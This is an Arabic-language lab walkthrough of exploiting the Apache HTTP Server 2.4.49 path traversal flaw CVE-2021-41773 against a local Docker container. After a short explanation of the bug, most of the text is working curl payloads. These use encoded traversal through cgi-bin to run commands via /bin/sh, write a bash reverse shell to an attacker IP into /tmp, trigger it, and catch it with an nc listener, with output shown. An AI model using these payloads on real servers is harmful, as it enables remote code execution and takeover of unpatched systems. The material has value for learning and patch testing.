
الثغرة الأولى ذات المعرّف CVE-2021-41773 هي خلل في اجتياز المسار موجود في Apache HTTP Server 2.4.49.
تم العثور على خلل في تغيير أُجري على تطبيع المسار (path normalization) في Apache HTTP Server 2.4.49. يمكن للمهاجم استخدام هجوم اجتياز المسار لربط عناوين URL بملفات خارج الدلائل التي تم تكوينها عبر توجيهات شبيهة بـ Alias.
إذا لم تكن الملفات خارج هذه الدلائل محمية بالإعداد الافتراضي المعتاد "require all denied"، فقد تنجح هذه الطلبات. إذا كانت سكربتات CGI مفعّلة أيضًا لهذه المسارات المُعرفة عبر Alias، فقد يسمح ذلك بتنفيذ الأكواد عن بُعد.
من المعروف أن هذه الثغرة تُستغل في البيئة الفعلية.
تؤثر هذه المشكلة على Apache 2.4.49 فقط وليس على الإصدارات الأقدم.
يهدف هجوم اجتياز المسار (المعروف أيضًا باسم directory traversal) إلى الوصول إلى الملفات والدلائل المخزنة خارج مجلد جذر الويب. من خلال التلاعب بالمتغيرات التي تشير إلى ملفات باستخدام تسلسلات “dot-dot-slash (../)” واختلافاتها أو باستخدام مسارات ملفات مطلقة، قد يكون من الممكن الوصول إلى ملفات ودلائل عشوائية مخزنة على نظام الملفات بما في ذلك الكود المصدري للتطبيق أو ملفات التكوين وملفات النظام الحرجة. تجدر الإشارة إلى أن الوصول إلى الملفات محدود بنظام التحكم في الوصول التشغيلي للنظام (كما في حالة الملفات المقفلة أو قيد الاستخدام على نظام التشغيل Microsoft Windows).
يُعرف هذا الهجوم أيضًا باسم “dot-dot-slash” و"directory traversal" و"directory climbing" و"backtracking".
$ docker-compose build
$ docker-compose up
تأكيد أنه يعمل
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
الضحية : localhost:1234
المهاجم : 192.168.1.12
وفقًا للتوثيق، هذا خلل يسمح لنا بتنفيذ الأكواد على جهاز بعيد (RCE).
يمكننا استغلاله عبر تنفيذ curl مع مجلد cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
لنرَ ما إذا كان لدينا فعليًا وصول إلى الأوامر، مثل id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. قشرة عكسية (Reverse Shell)
سنختبر قشرة عكسية عن طريق إنشاء ملف bash على خادم الضحية.
لنأخذ كمثال القشرة العكسية بلغة bash الموجودة في مستودع PayloadsAllTheThings.
إليك مثالًا:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
لننشئ الملف vuln.sh على جهاز الضحية في مجلد /tmp/!
سيحتوي هذا الملف على القشرة العكسية التي يمكننا تشغيلها عن بُعد. ستتصل بجهازنا المحلي على المنفذ 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
يمكنك التحقق من محتويات الملف باستخدام الأمر cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. مستمع باستخدام ncat
لننشئ المستمع على الجهاز المحلي.
$ nc -lvnp 44
كل ما تبقى هو تنفيذ الملف البعيد.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
الاستجابة:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.